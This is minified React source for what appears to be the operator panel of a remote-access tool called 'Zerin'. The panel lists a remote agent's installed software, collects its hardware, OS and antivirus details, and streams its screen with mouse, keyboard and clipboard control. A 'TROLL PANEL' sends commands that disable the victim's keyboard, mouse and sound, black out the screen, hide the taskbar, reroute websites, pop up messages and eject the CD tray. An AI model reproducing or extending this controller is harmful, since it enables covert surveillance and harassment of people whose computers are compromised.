disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function IU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ee(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Un(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"CPU",value:n.cpu}),s.jsx(Ci,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(Ci,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(Ci,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"OS",value:n.os}),s.jsx(Ci,{label:"AV",value:n.av}),s.jsx(Ci,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Ci({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function DU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d<c&&r<n;d++){const f=e.getUint8(r);r+=1;const m=e.getUint8(r);r+=1;const h=e.getUint8(r);r+=1;const x=e.getUint32(r,!0);r+=4;const g=new Uint8Array(e.buffer.slice(e.byteOffset+r,e.byteOffset+r+x));r+=x,u.push({col:f,row:m,codec:h,data:g})}return{cols:i,rows:a,cursorX:o,cursorY:l,numDirty:c,tiles:u}}const k2=typeof OffscreenCanvas<"u";function pv({agentId:e,mode:t="vnc",onFrame:n,onDisconnect:r}){const i=p.useRef(null),a=p.useRef(null),[o,l]=p.useState(!1),[c,u]=p.useState({fps:0,frameCount:0,width:0,height:0,lastFrameMs:0,dirtyTiles:0,totalTiles:0}),d=p.useRef(!1),f=p.useRef(null),m=p.useRef(n);m.current=n;const h=p.useRef(null),x=p.useRef(null),g=p.useRef([]),y=p.useRef([]),v=p.useRef(null),b=p.useRef(null),w=p.useRef(null),j=p.useRef(!1),k=60,S=p.useRef(new Float64Array(k)),N=p.useRef(0),z=p.useRef(0),_=p.useRef({frameCount:0,fps:0,width:0,height:0,lastFrameMs:0,dirtyTiles:0,totalTiles:0}),A=p.useRef(null),O=p.useRef(null),P=p.useRef(!1),I=p.useRef(60);p.useEffect(()=>(A.current=window.setInterval(()=>{const Y=_.current;u(ee=>ee.fps===Y.fps&&ee.frameCount===Y.frameCount&&ee.dirtyTiles===Y.dirtyTiles&&ee.totalTiles===Y.totalTiles?ee:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const U=p.useCallback((Y,ee)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==ee)&&(C.width=Y,C.height=ee,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),D=p.useRef(new ArrayBuffer(5)),M=p.useRef(new DataView(D.current)),F=p.useCallback(Y=>{var ee;((ee=i.current)==null?void 0:ee.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),R=p.useMemo(()=>({sendMouseMove:(Y,ee)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,ee,!0),F(D.current)},sendMouseButton:(Y,ee,C,K)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,Y),B.setUint8(2,ee),B.setUint16(3,C,!0),B.setUint16(5,K,!0),F(ne)},sendMouseScroll:(Y,ee,C)=>{const K=new ArrayBuffer(7),ne=new DataView(K);ne.setUint8(0,3),ne.setInt16(1,Y,!0),ne.setUint16(3,ee,!0),ne.setUint16(5,C,!0),F(K)},sendKey:(Y,ee,C)=>{const K=new ArrayBuffer(8),ne=new DataView(K);ne.setUint8(0,4),ne.setUint8(1,Y),ne.setUint16(2,ee,!0),ne.setUint32(4,C,!0),F(K)},sendClipboard:Y=>{const ee=new TextEncoder().encode(Y),C=new ArrayBuffer(5+ee.length),K=new DataView(C);K.setUint8(0,5),K.setUint32(1,ee.length,!0),new Uint8Array(C,5).set(ee),F(C)},setQuality:Y=>{I.current=Y;const ee=new ArrayBuffer(3),C=new DataView(ee);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),F(ee)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,ee)=>{const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,Y),K.setUint8(2,ee),F(C)}}),[F]),W=p.useCallback(()=>{if(!k2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=ee=>{if(ee.data.type==="frame"){const{bitmap:C,width:K,height:ne,cursorX:B,cursorY:ie}=ee.data;m.current(C,K,ne,B,ie)}},f.current=Y},[]),$=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),H=p.useCallback(()=>{if(k2||b.current!==null)return;const Y=()=>{const ee=y.current,C=g.current,K=w.current;if((ee.length>0||C.length>0)&&K){const{canvas:ne,ctx:B}=U(K.width,K.height);for(const ie of ee)B.fillStyle=`rgb(${ie.r},${ie.g},${ie.b})`,B.fillRect(ie.col*ie.tileSize,ie.row*ie.tileSize,ie.tileSize,ie.tileSize);for(const ie of C)B.drawImage(ie.bitmap,ie.col*ie.tileSize,ie.row*ie.tileSize),ie.bitmap.close();y.current=[],g.current=[],m.current(ne,K.width,K.height,K.cursorX,K.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[U]),X=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),se=p.useCallback(()=>{if(O.current!==null)return;const Y=64*1024;O.current=window.setInterval(()=>{const ee=i.current;if(!(!ee||ee.readyState!==WebSocket.OPEN)){if(ee.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,30),F(C)}else if(ee.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,I.current),F(C)}}},250)},[F]),ue=p.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),ge=p.useCallback(()=>{if(i.current)return;const Y=rt();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,K=new WebSocket(C);K.binaryType="arraybuffer",i.current=K,K.onopen=()=>{l(!0),W(),H(),se()},K.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const ie=B.getUint16(0,!0),ve=B.getUint16(2,!0),we=Number(B.getBigUint64(4,!0)),_e=B.getUint8(12),L=performance.now(),de=S.current,q=N.current%k;de[q]=L,N.current=q+1,z.current<k&&z.current++;let te=0;const me=z.current;if(me>1){const Z=de[(q+1-me+k)%k],fe=(L-Z)/1e3;fe>0&&(te=Math.round((me-1)/fe))}const V=_.current;if(V.frameCount++,V.fps=te,V.width=ie,V.height=ve,V.lastFrameMs=we,_e===1){const Z=DU(B,13,ne.data.byteLength);V.dirtyTiles=Z.numDirty,V.totalTiles=Z.cols*Z.rows;const fe=Z.cols>0?Math.ceil(ie/Z.cols):128,E=Z.tiles.filter(J=>J.codec===1),oe=Z.tiles.filter(J=>J.codec===2);if(f.current){const J=[],pe=E.map(ke=>{const G=ke.data.buffer.slice(ke.data.byteOffset,ke.data.byteOffset+ke.data.byteLength);return J.push(G),{col:ke.col,row:ke.row,data:G}}),be=oe.map(ke=>({col:ke.col,row:ke.row,r:ke.data[0],g:ke.data[1],b:ke.data[2]}));f.current.postMessage({type:"tiles",tiles:pe,solids:be,width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY,tileSize:fe},J)}else{w.current={width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY};for(const J of oe)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:fe});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const pe of E){const be=v.current.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row);be>=0?v.current[be]={...pe,tileSize:fe}:v.current.push({...pe,tileSize:fe})}return}j.current=!0;let J=E.map(pe=>({...pe,tileSize:fe}));if(v.current&&v.current.length>0){for(const pe of v.current)J.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row)<0&&J.push(pe);v.current=[]}Promise.all(J.map(pe=>{const be=new Blob([pe.data],{type:"image/jpeg"});return createImageBitmap(be).then(ke=>({bitmap:ke,col:pe.col,row:pe.row,tileSize:pe.tileSize}))})).then(pe=>{j.current=!1;for(const be of pe)g.current.push(be)}).catch(()=>{j.current=!1})}}}else{V.dirtyTiles=0,V.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Z=new Uint8Array(ne.data,13),fe=new Blob([Z],{type:"image/jpeg"}),E=URL.createObjectURL(fe);a.current=E,m.current(E,ie,ve)}},K.onclose=()=>{l(!1),i.current=null,$(),X(),ue(),r==null||r()},K.onerror=()=>{K.close()}},[e,t,r,W,$,H,X,se,ue]),xe=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),$(),X(),ue(),l(!1)},[$,X,ue]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),$(),X(),ue()},[$,X,ue]),{isConnected:o,stats:c,controls:R,connect:ge,disconnect:xe}}function RU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState("https://"),[A,O]=p.useState(!1),[P,I]=p.useState(""),[U,D]=p.useState(!1),[M,F]=p.useState(!1),[R,W]=p.useState(!1),[$,H]=p.useState(!1),[X,se]=p.useState(!1),[ue,ge]=p.useState(!1),xe=(te,me="ok")=>{f({text:te,type:me}),setTimeout(()=>f(null),2500)},Y=p.useCallback((te,me,V)=>{a.current||(a.current=!0,i(!0)),l({w:me,h:V});const Z=t.current;if(!Z)return;const fe=Z.getContext("2d");if(fe)if((Z.width!==me||Z.height!==V)&&(Z.width=me,Z.height=V),typeof te=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>fe.drawImage(E,0,0),E.src=te}else te instanceof ImageBitmap?(fe.drawImage(te,0,0),te.close()):fe.drawImage(te,0,0)},[]),{isConnected:ee,stats:C,connect:K}=pv({agentId:e,onFrame:Y}),[ne,B]=p.useState(!1);p.useEffect(()=>{!e||!ne||gx(e).then(()=>K()).catch(()=>{K()})},[e,K,ne]);const ie=async(te,me)=>{try{await Ee(e,{command:te,args:me}),xe(`Sent: ${te}`)}catch{xe(`Failed: ${te}`,"err")}},ve=()=>{const te=!c;u(te),ie("troll_taskbar",[te?"show":"hide"])},we=(te,me,V)=>{const Z=!te;me(Z),ie(V,[Z?"on":"off"])},_e=()=>{y.trim()&&(ie("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},L=()=>{j.trim()&&(ie("troll_tts",[j]),w(!1),k(""))},de=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){xe("URL must start with http:// or https://","err");return}ie("troll_website",[z]),N(!1),_("https://")}},q=()=>{P.trim()&&(ie("troll_wallpaper",[P]),O(!1),I(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:ee&&r?"#22C55E":ee?"#eab308":"#ef4444",boxShadow:ee?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:ee&&r?"LIVE":ee?"BUFFERING":"CONNECTING"})]}),ee&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx($s,{icon:s.jsx($U,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx($s,{icon:s.jsx(BU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx($s,{icon:s.jsx(FU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx($s,{icon:s.jsx(WU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),s.jsx($s,{icon:s.jsx(UU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>ie("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(Pi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:ve}),s.jsx(Pi,{label:"Swap Mouse",active:U,color:"#f59e0b",onToggle:()=>we(U,D,"troll_swapmouse"),invert:!0}),s.jsx(Pi,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>we(M,F,"troll_disablesound")}),s.jsx(Pi,{label:"Screen",active:!R,color:"#ef4444",onToggle:()=>we(R,W,"troll_blackscreen")}),s.jsx(Pi,{label:"Keyboard",active:!$,color:"#10b981",onToggle:()=>we($,H,"troll_disablekeyboard")}),s.jsx(Pi,{label:"Mouse",active:!X,color:"#ec4899",onToggle:()=>we(X,se,"troll_disablemouse")}),s.jsx(Pi,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>we(ue,ge,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),ee&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 